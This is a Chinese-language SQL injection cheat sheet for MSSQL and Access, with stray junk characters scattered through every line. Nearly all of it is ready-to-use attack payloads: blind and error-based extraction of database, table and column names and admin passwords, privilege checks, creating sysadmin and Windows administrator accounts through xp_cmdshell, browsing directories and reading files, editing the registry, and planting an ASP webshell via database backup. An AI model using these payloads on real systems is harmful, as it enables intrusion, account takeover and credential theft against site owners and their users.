1.判断是否有注入
0 W0 a) g, P' q, F;and 1=1 # G9 B& c/ X6 h+ q. n
;and 1=2 + x8 I( D {2 G1 J( R
4 O. e( ]. b0 ~/ H. K3 R2.初步判断是否是mssql
& ~: s) Z- V/ O0 j3 L9 l;and user>0 9 B+ R$ G9 E6 r k' T) ~
9 i3 x" D0 W- c d# M
3.判断数据库系统
! g4 T% \0 j$ R* a;and (select count(*) from sysobjects)>0 mssql
" H9 b" _ s' i! ~$ X/ l;and (select count(*) from msysobjects)>0 access
8 l" z9 P2 n8 h9 X# c' E" p( Y2 `8 ~/ N8 S; ~/ M1 M
4.注入参数是字符 2 ^$ H! Z7 F' m, X6 p! a' M2 s9 a3 Q
'and [查询条件] and ''='
) V( B! g8 D) d) ]- e) Y" o4 a" H; a Y0 v
' s4 [' O+ s% f& V" h, O5.搜索时没过滤参数的 . x/ P4 g9 d/ w4 W4 n8 }* B) s& b
'and [查询条件] and '%25'='
2 k/ s" X) h4 u. j* x
2 r2 o. S/ k( K, H( m6.猜数表名
, ^! t: @( j. c) f0 G;and (select Count(*) from [表名])>0
7 m: ~0 p9 a9 O: |1 D8 o. s8 i
7.猜字段
+ s4 `" D3 I% V;and (select Count(字段名) from 表名)>0
1 U! |" q+ m0 r2 R4 l% Q) p5 W# W8 ^- Z4 m3 @
8.猜字段中记录长度
U3 \0 [% P8 T. ~1 i8 `8 |;and (select top 1 len(字段名) from 表名)>0 3 U2 z: N. c& U. n* E
7 `* L5 B1 ?7 X1 V
9.(1)猜字段的ascii值(access) , u9 f. B0 L, G) f3 \
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
) q1 e; S1 d H5 z+ V S) q1 w2 K+ f9 B# a( o' b$ v
(2)猜字段的ascii值(mssql) : ?$ {1 Q) `* c1 h9 p
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 # Q, J: W; R5 F, r; u. m* L# J6 s
. m) [& J& r4 p5 ]10.测试权限结构(mssql) 7 J- b) |- `/ t% N
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 Z9 |% W; n5 H) A. F2 x: s
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 O; |: c! p: t. W;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ' T) E S* E( Y. n
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ; g ]9 z, j) N; g
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# h/ K( X# e5 e5 R, k/ K;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) i4 o a" b7 m4 m4 R2 F; i; _;and 1=(select IS_MEMBER('db_owner'));--
* r) u4 o+ ~5 Y0 G8 |) |2 ^
+ R4 }, T5 B$ R( F0 A( o11.添加mssql和系统的帐户 . P1 m4 @& b+ N: W; J+ w: S
;exec master.dbo.sp_addlogin username;--
" O3 ? }8 ?! L& V;exec master.dbo.sp_password null,username,password;-- 6 s! n1 Z- t4 _# @( B
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ; H" _, d0 a" ~* h) F9 ~
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
8 M( _0 q! q1 G- Y& p;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 ^& {" h6 p' m: h
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
* P! D% T8 @; N$ B, P' S( G; X
/ w4 V, j2 U! H2 N" |12.(1)遍历目录 4 B' O* H# j2 s7 n; a
;create table dirs(paths varchar(100), id int)
: H$ z! w6 A# J% |3 z;insert dirs exec master.dbo.xp_dirtree 'c:\' * Z3 a& S- X3 ~* {; X+ c0 z
;and (select top 1 paths from dirs)>0
! J l# X5 {4 g. L4 z& n; a;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& |5 Z0 k; K4 f
% P+ |6 ~) e ]* v6 q3 |(2)遍历目录
! G* r, i- G4 R- G7 s;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
6 c& g- d( M+ Z; G;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
, c0 v8 k* [& V6 b5 X$ t3 z9 _. ~. o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & U; t' p6 V+ b$ Y# ^1 N g
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 % n! }5 Y( @3 ~4 |
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 e, A" B: M. T& F6 f: e
; b9 Y- |! O1 O. p- f5 `( f13.mssql中的存储过程 . R; O; L. c$ ~* c
xp_regenumvalues 注册表根键, 子键
0 a+ X! y6 N; Z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 b! b8 D7 T% exp_regread 根键,子键,键值名 ; _' @- Z5 x' |- k9 R
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. \/ R [; f% r# n; N6 {xp_regwrite 根键,子键, 值名, 值类型, 值 Y0 C: V k$ p9 C: M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
0 y, O6 H5 c- v+ T3 i;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
8 f+ E. ?* @5 e( w. \xp_regdeletevalue 根键,子键,值名 + q" B3 N' ?$ G/ \1 J& p7 ` U
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
' m/ i, h0 h2 ~1 z6 H4 a& ~! fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3 u* I3 I2 y9 h2 K' H5 b
8 l- b9 m; G+ {; p! z, F; L6 ]
14.mssql的backup创建webshell
8 `# W" \% M3 K0 `use model
8 {0 e, } P; S: M) ^2 u7 [2 Rcreate table cmd(str image);
. B. t+ g; e; h9 g$ Ginsert into cmd(str) values ('<% Dim oScript %>'); # {( ~4 G: M5 }8 ~6 F1 K- @
backup database model to disk='c:\l.asp'; ; n) }8 G" A& N/ B
6 H9 F7 u- k9 S* w4 ?15.mssql内置函数
0 \8 K% [! W9 F2 m* v;and (select @@version)>0 获得Windows的版本号
, D' Q& \' t: I) v( m' ~;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' E6 Z4 D+ H J$ T" o9 x
;and (select user_name())>0 爆当前系统的连接用户
" |3 A- O# K4 k) I9 ~4 j" S;and (select db_name())>0 得到当前连接的数据库
4 w4 B3 Z7 @; Z; F) ^& h
" E8 I/ c8 V- c3 J+ f$ `& M+ V5 Z# }. u u( p2 i
8 ^: j9 a$ H: K6 `
MSSQL手注暴库
# t' b( ]: c" e
* l& e" o% o$ c4 z/ J* r- }1.暴出当前表名和列名
) V3 H- ?( I i: {9 ~在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。$ B: y0 t4 j7 X" T
5 f7 M/ w# D. S U第一.爆出所有数据库名& A" n5 j. S$ `
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。; [- x9 N2 u2 [8 Y/ q
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
& @7 [1 S# u, F
. L9 P" P) m ^1 Vand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名/ Y$ @; |, h1 \- y( | x
/ _% X! v5 C' Q5 N7 E1 |
" x$ l6 [1 Y- } S. g; d
第二.爆出指定库中的所有表名
+ F* t0 P1 G4 v* t: f得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! }4 q2 G) V* @8 n( z/ ?
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
: L4 c7 G3 T3 ^; F
9 S! f/ q4 H+ ]7 L* |and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
, U; C9 J3 b- nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
( w6 t% Z& Y8 O- x: g! G6 T4 Band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
$ s/ C W' K) E
+ o. m ~4 N- w# b4.爆出指定表中的所有列名
4 L/ ^ |6 D5 F* gand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
1 v" m. \1 W- G# R) u2 S y$ o/ V//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'& O& _. D, K& {# F4 c
% a# d, f% {3 E* t! p) w2 |% vand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名! [+ E$ e8 o0 e6 a/ N8 w
, q3 T& W7 g. ~ C, p4 g/ X8 s再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
1 `% ?) S4 M' V q; \7 N依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
$ P( G6 {# D1 L2 X" }6 A3 H# |/ d# L" Q' n% q& P
9 D* j* M, |1 \4 ^; d* y& Q5 b
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
: R; Z6 Y, i& E( @' \
3 `$ V6 Q; t2 cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名1 V6 ?# `% Y& X" k& Z; L
: a; {7 C/ X# hand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 8 i8 u& V$ Z/ j/ a* M
- w) `/ E w+ U# f1 @5 J3 q$ a7 {5 ?: D& J( A# h1 D, B( H
2 ]6 F4 n* z# H$ ?5 Q
5.读取指定表中的数据
- s! k Z8 D+ g: H, W% z
. L$ a& k' `, T- e1 z' Land 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ! Q# d& F! X1 U! r' O8 H
' A {/ @! c* {$ e) I X
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--2 Y6 ?: n C; M) n
5 B$ Z" F4 c6 Gand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
) P' k. G/ c- d/ k4 ~
; k7 h+ o, @7 h% w; f! R# M! j+ M! q/ Z
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)6 Q9 \- A$ o0 e/ l& N
0 p3 x3 S7 u8 F }9 F3 \2 D& ]
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)/ K# Y% r/ _7 N( x8 m
s3 v6 O! b- @9 b6 N" C- Tand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--# b7 G8 @* u6 U j+ p1 Y) p
, o5 d/ r' T: I9 `3 r# S0 Y知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
; n6 q" P9 _( | |